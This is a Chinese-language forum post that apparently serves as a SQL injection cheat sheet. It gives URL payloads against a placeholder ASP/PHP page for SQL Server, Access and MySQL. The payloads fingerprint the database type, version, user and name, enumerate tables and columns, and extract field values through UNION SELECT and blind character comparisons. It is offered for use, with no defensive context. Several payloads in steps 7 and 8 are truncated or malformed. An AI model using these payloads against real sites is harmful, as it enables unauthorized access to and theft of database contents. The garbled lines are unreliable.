- 帖子
- 2
- 积分
- 5
- 威望
- 8
- 金钱
- 13
- 在线时间
- 0 小时
|
、 判断数据库的类型
SQL Server:http://www.xx.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
ACCESS:http://www.xx.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
MY SQL:根据系统平台判断
说明:SQLServer 中存在sysobjects表,而ACCESS中存在msysobjects表,但是没有权限访问该表。
2、判断数据库的版本
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 and 1=(select @@VERSION)
ACCESS:http://www.xx.com/showdetail.asp?id=49 and 1=(select @@VERSION)
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 and 1= convert(int,@@version)
ACCESS:http://www.xx.com/showdetail.asp?id=49 and 1= convert(int,@@version)
MYSQL:http://www.xx.com/showdetail.php?id=49 and 1<>1 union select 1,2, version(),4,5
说明:@@VERSION 变量返回SQL SERVER数据库的版本;version()函数返回MYSQL数据库的版本
3、判断链接数据库的用户类型和名称
MSSQL::http://www.xx.com/showdetail.asp?id=49 and user>0
MY SQL:http://www.xx.com/showdetail.php?id=49 and 1<>1 union select 1,2,user(),4,5
说明:user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar
User() 函数返回链接MYSQL数据库的用户名
4、 判断当前的数据库名
SQLSERVER:HTTP://http://www.xx.com/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0
SQLSERVER:HTTP://http://www.xx.com/abc.asp?p=YY and 0<>db_name()
ACCESS:
MYSQL:http://www.xx.com/showdetail.php?id=49 and 1<>1 union select 1,2,database(),4,5
说明:SQLSERVER 中有sysdatabases表,存放所有数据库,dbid从7开始是用户自己的数据库,使用这个方法可以得到服务器上所有的数据库名称。 db_name()函数返回SQL SERVER的数据库名。database()函数返回MYSQL数据库的数据库名
5、 判断表名称
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 and 0<>(select count(*) from 表名)
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 and (select top 1 from 数据库名.dbo.sysobjects where xtype=’U’ and status>0)>0
ACCESS:http://www.xx.com/showdetail.asp?id=49 and 0<>(select count(*) from 表名)
MYSQL:http://www.xx.com/showdetail.php?id=49 and and 0<>(select count(*) from 表名)
6、 判断字段名
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 and 0<>(select count(字段名) from 表名)
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 and (Select Top 1 name From (Select Top 12 [name] From [syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name ='表名称')) Order by [name]) T Order by [name] desc)>0
ACCESS:http://www.xx.com/showdetail.asp?id=49 and 0<>(select count(字段名) from 表名)
MYSQL :http://www.xx.com/showdetail.php?id=49 and 0<>(select count(字段名) from 表名)
7、 判断字段记录长度
SQL SERVER :http://www.xx.com/showdetail.asp?id=49 字段名) from 表名)>0
ACCESS :http://www.xx.com/showdetail.asp?id=49 字段名) from 表名)>0
MYSQL: http://www.xx.com/showdetail.php?id=49 字段名) from 表名 order by 字段名 limit N,1)
说明:MYSQL中没有top 命令,可以使用limit,N表示判断第N条记录
8、判断字段记录值
MYSQL :http://www.xx.com/showdetail.php?id=49 and 1<>1 union select 1,2,3,(select 字段名 from 表名 order by 字段名limit N,1)
SQL SERVER(判断ascii值) :http://www.xx.com/showdetail.asp?id=49 and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
ACCESS(判断ascii值):http://www.xx.com/showdetail.asp?id=49 字段名,1,1)) from 数据库名)>0
说明:SQL SERVER 和ACCESS可以通过判断ascii值来判断记录,MYSQL可直接显示记录。 |
|